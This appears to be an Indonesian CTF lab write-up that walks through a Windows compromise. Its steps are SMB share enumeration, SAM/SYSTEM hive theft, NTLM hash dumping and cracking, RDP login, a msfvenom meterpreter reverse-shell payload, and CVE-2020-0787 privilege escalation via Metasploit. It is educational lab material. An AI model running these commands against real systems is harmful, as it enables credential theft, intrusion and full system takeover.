Sitemap

CVE 2020–0787 Windows Privilege Escalation | CTF Write-ups

7 min readJun 6, 2025
Press enter or click to view image in full size

Perkenalkan nama saya tengku arya saputra , pada artikel kali ini saya akan membagikan pengalaman bagaimana saya dapat meretas mesin windows dengan memanfaatkan smb pada file SAM yang menyebabkan sensitive information disclosure.

Apa itu SAM file ? kita akan kenalan terlebih dahulu dengan file SAM , SAM singkatan dari Security Accounts Manager , file ini digunakan oleh sistem operasi untuk menyimpan informasi tentang akun pengguna baik username, nilai hash password dan informasi yang berkaitan dengan keamanan, nah tujuan saya mendapatkan file SAM ini adalah untuk mengautentikasi dan mendapatkan akses ke sistem.

oke apa yang pertama saya harus lakukan ? saya harus memahami tugas yang diberikan pada lab ini, saya diberikan 6 task/ tugas

Task 1 : Kapan tanggal cadangan registri dibagikan ke SMB?
Task 2 : Apa nama pengguna dari pengguna yang memiliki UID 1001?
Task 3 : Apa kata sandi pengguna edward?
Task 4 : Apa nama komputernya?
Task 5 : Apa nama pengguna edward di company.hackviser.space?
Task 6 : Apa alamat email yang digunakan Jacob di company.hv?

baik berarti yang pertama saya lakukan saya harus tau terlebih dahulu tentang SMB ini pada mesin target , saya menggunakan nmap untuk mengumpulkan informasi yang lengkap mengenai port saya akan melakukan pemindaian.

Press enter or click to view image in full size

saya mendapaktan bahwa mesin target menggunakan windows 10 pro version 10.0.17134 , oke info ini sangat detail dan cukup untuk informasi yang saya akan gunakan selanjutnya , saya lihat bawha host script result menunjukan bahwa smb-os-discovery digunakan pada mesin ini sehingga saya melanjutkan untuk melihat sharename yang terdapat pada mesin ini dengan perintah

smbclient — no-pass -L 172.20.2.40

Press enter or click to view image in full size

172.20.2.40 ini adalah mesin target, saya mendapatkan beberapa sharename seperti ADMIN$ , C$ , IPC$, Reg_Backup_03–12–2024, Users , saya mendapaktan jawaban dari TASK 1 yaitu pada tanggal 03–12–2024 melakukan backup.

Task 1 : Kapan tanggal cadangan registri dibagikan ke SMB? 03–12–2024

selanjutnya ini membuat saya tertarik untuk mencoba memasuki folder nya dan saya mencoba melihat isi di dalam sharename Reg_Backup_03–12–2024 dengan perintah.

smbclient — no-pass \\\\172.20.2.40\\Reg_Backup_03–12–2024

Press enter or click to view image in full size

dan yeh! saya mendaatkan file SAM yang saya cari, ada 2 file yang saya butuhkan yaitu sam_file & system_file, saya akan mendownload ke lokal saya menggunakan perintah get <filename>

get sam_file
get system_file

Press enter or click to view image in full size

jika keduanya sudah di dapatkan , selanjunya periksa file.

file sudah ke download, jika di cat file sam_file ini akan berantakan atau formatnya tidak terbaca

Press enter or click to view image in full size

saya harus menggunakan tools impacket-secretsdump bagi yang belom tau apa itu tools impacket-secretsdump nah ini yang digunakan untuk mengungkapkan informasi rahasia, kata sandi, dan memiliki lebih banyak kemampuan, saya akan gunakan perintah ini.

impacket-secretsdump -sam sam_file -system system_file local -outputfile dump_SAM.txt

Press enter or click to view image in full size

saya mendapatkan apa yang saya inginkan yaitu credentials, tapi password ini masih dalam bentuk hash , mari saya selesaikan TASK 2 , dilihat dari soal kita harus mencari UID 1001 yaitu edward.

Task 2 : Apa nama pengguna dari pengguna yang memiliki UID 1001? Edward.

saya mendapatkan NTLM dari pengguna edwad yaitu e1d28c20baa79c026a7627b80bb40873 , saya akan mencoba bruteforce ini menggunakan tools hashcat , apa itu hashcat ? nah yang belom tau hashcat ini yang menurut saya tools terbaik di dunia untuk memecahkan kata sandi uniq lebih dari 300 algoritma hashing, ini sangat cepat tidak ada 10 detik.

saya kembali ke hashcat, saya menggunakan perintah ini untuk mencoba memecahkan passwordnya.

hashcat -a 0 -m 1000 e1d28c20baa79c026a7627b80bb40873 /usr/share/daftar kata/rockyou.txt

- a mode attack
-m hash type

Karena hash yang ingin saya pecahkan adalah NTLM, kita atur parameter -m menjadi 1000 dan mode serangan menjadi 0 untuk parameter -a untuk mencoba kata sandi di wordlists rockyou.txt.

Press enter or click to view image in full size

searangan bruteforce attack yang saya lakukan berhasil dilakukan password ini menunjukan bahwa password edward yaitu twilight , dengan itu saya menyelsaikan TASK 3

Task 3 : Apa kata sandi pengguna edward? twilight

oke sekarang saya sudah mendapatkan full credentials nya yaitu

username : edward
password : twilight

yang belom tau credentials ini untuk apa? ini untuk RDP yaitu Remote Desktop Protocol , saya akan menggunakan remmina karena saya menggunakan kali linux saya akan memasukan credentials yang saya peroleh.

dengan password dan username yang benar saya bisa mengakses windowsnya, selanjutnya saya harus mencari info mengenai hostname dari komputernya, pergi ke powershell dan ketik perintah

$env:COMPUTERNAME

Press enter or click to view image in full size

computer name yaitu : DESKTOP-0SLFDB7
dengan ini saya menyelesaikan TASK 4

Task 4 : Apa nama komputernya? DESKTOP-0SLFDB7

selanjutnya pada task ke 5 saya disuru untuk menemukan username dari edward di company domain

lakukan perintah

cmdkey /list

saya mendapatkan username nya edward di company.hv yaitu edward@company.hv

Task 5 : Apa username edward di company.xxx.space? edward@company.hv

oke saya sudah menyelsaikan 5 tugas dan ini yang terakhir saya disuru untuk menemukan email dari user jacob , saya langsung pergi ke local disk C dengan full path C:\Users\jacob\Desktop\ , terdapat file email_addreses.txt akan tetapi mereka memberi hak akses hanya admin yang memperbolehkan membuka dan membacanya! saya harus melakukan privilege escalation untuk meningkatkan hak akses saya dari user biasa menjadi admin.

oke, sekarang saya akan mencoba menggunakan Framework Metasploit untuk privilege escalation. Pertama, saya akan membuat sebuah file exe dengan msfvenom untuk mendapatkan shell meterpreter dan kemudian menjalankan aplikasi ini pada sistem target. Pertama-tama, saya buat file exe yang diperlukan dengan menjalankan perintah

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<listener-ip> lport=<listener-port> -f exe> virus.exe

LHOST dan LPORT disesuaikan dengan ip attacker dan port attacker untuk mendengar.

Press enter or click to view image in full size

setelah dibuat sekarang bagaimana caranya agar file virus.exe ini sampai ke mesin target pada RDP nya?
saya menggunakan perintah

python -m http.server 80

pada perintah ini saya akan membuka port 80 untuk diakases oleh mesin target, dan mendownload file yang ada di folder itu, membuka browser pada mesin target dan mendownload virus.exe nya.

setelah di download saya akan menjalakna perintah payload untuk di metasploit nya dengan perintah

msfconsole
use multi/handler
set LHOST <ip_attacker>
set LPORT <port_listener>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

Press enter or click to view image in full size

ketika sudah di exploit maka metasploit akan menunggu listener dari mesin target sampai di jalankan, jika sudah dijalankan maka akan muncul meterpreter.

Press enter or click to view image in full size

saya akan memanfaatkan cve dari CVE 2020–0787 yaitu Windows Background Intelligent Transfer Service (BITS) , saya langsung menggunakan perintah background untuk menyimpan hasil listenter ke sessions

Press enter or click to view image in full size

sekarang saya harus tau dulu apakah CVE 2020–0787 benar benar rentan atau tidak pada mesin target ini ? saya akan mencoba menggunakan modul pada metasploit yaitu multi/recon/local_exploit_suggester dan jalankan perintah

use multi/recon/local_exploit_suggester

Press enter or click to view image in full size

setelah itu lihat apa yang dibutuhkan oleh modul ini ,yang di butuhkan hanyalah SESSION kita set menjadi 1 sesuai session yang muncul pada gambar sebelumnya. lalu di run dan otomatis modul itu aan mencari kerenanan yang mungkin bisa di exploitasi untuk privilege escalation.

Press enter or click to view image in full size

dan ini hasilnya! saya mendapatkan result bahwa mesin benar benar rentan terhadap cve 2022–0787 ini !
ada banyak yang rentan tetapi saya menggunakan cve 2020_0787 yang bisa melakukan privilege escalation.

langsung saja kita pilih modul itu dengan perintah

use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move

Press enter or click to view image in full size

lanjutkan untuk set yang dibutuhkan

set LHOST <ip_attacker>
set LPORT <ip_listener>
set SESSION 1

Press enter or click to view image in full size

Dan jalankan exploit dan ini resultnya!

Press enter or click to view image in full size

saya mendapatkan hak akses root NT AUTHORITY/SYSTEM yang dimana saya berhasil mendapatkan akses root dengan memanfaatkan CVE ini. sekarang kita lihat email address si user jacob!.
pergi ke powershell dengan perintah

shell
powershell
cd ../../Users/jacob/Desktop
Get-Content email_addresses.txt

saya berhasil mendapatkan email dari jacob ini jacob.smith@company.hv
saya menyelesaikan TASK 6 akhir!

Task 6 : Apa alamat email yang digunakan Jacob di company.hv? jacob.smith@company.hv

kita menyelsaikan LAB!

Sekian dan terimakasih semoga bermanfaat :D cek video youtube untuk PoC ini ! https://youtu.be/O7sUi_0wEyE?si=Ikh3ZesGSwCSJ0Ut

--

--

Tengku Arya Saputra
Tengku Arya Saputra

Written by Tengku Arya Saputra

Penetration Tester || Cyber Security Analyst || Cyber Security Enthusiast

No responses yet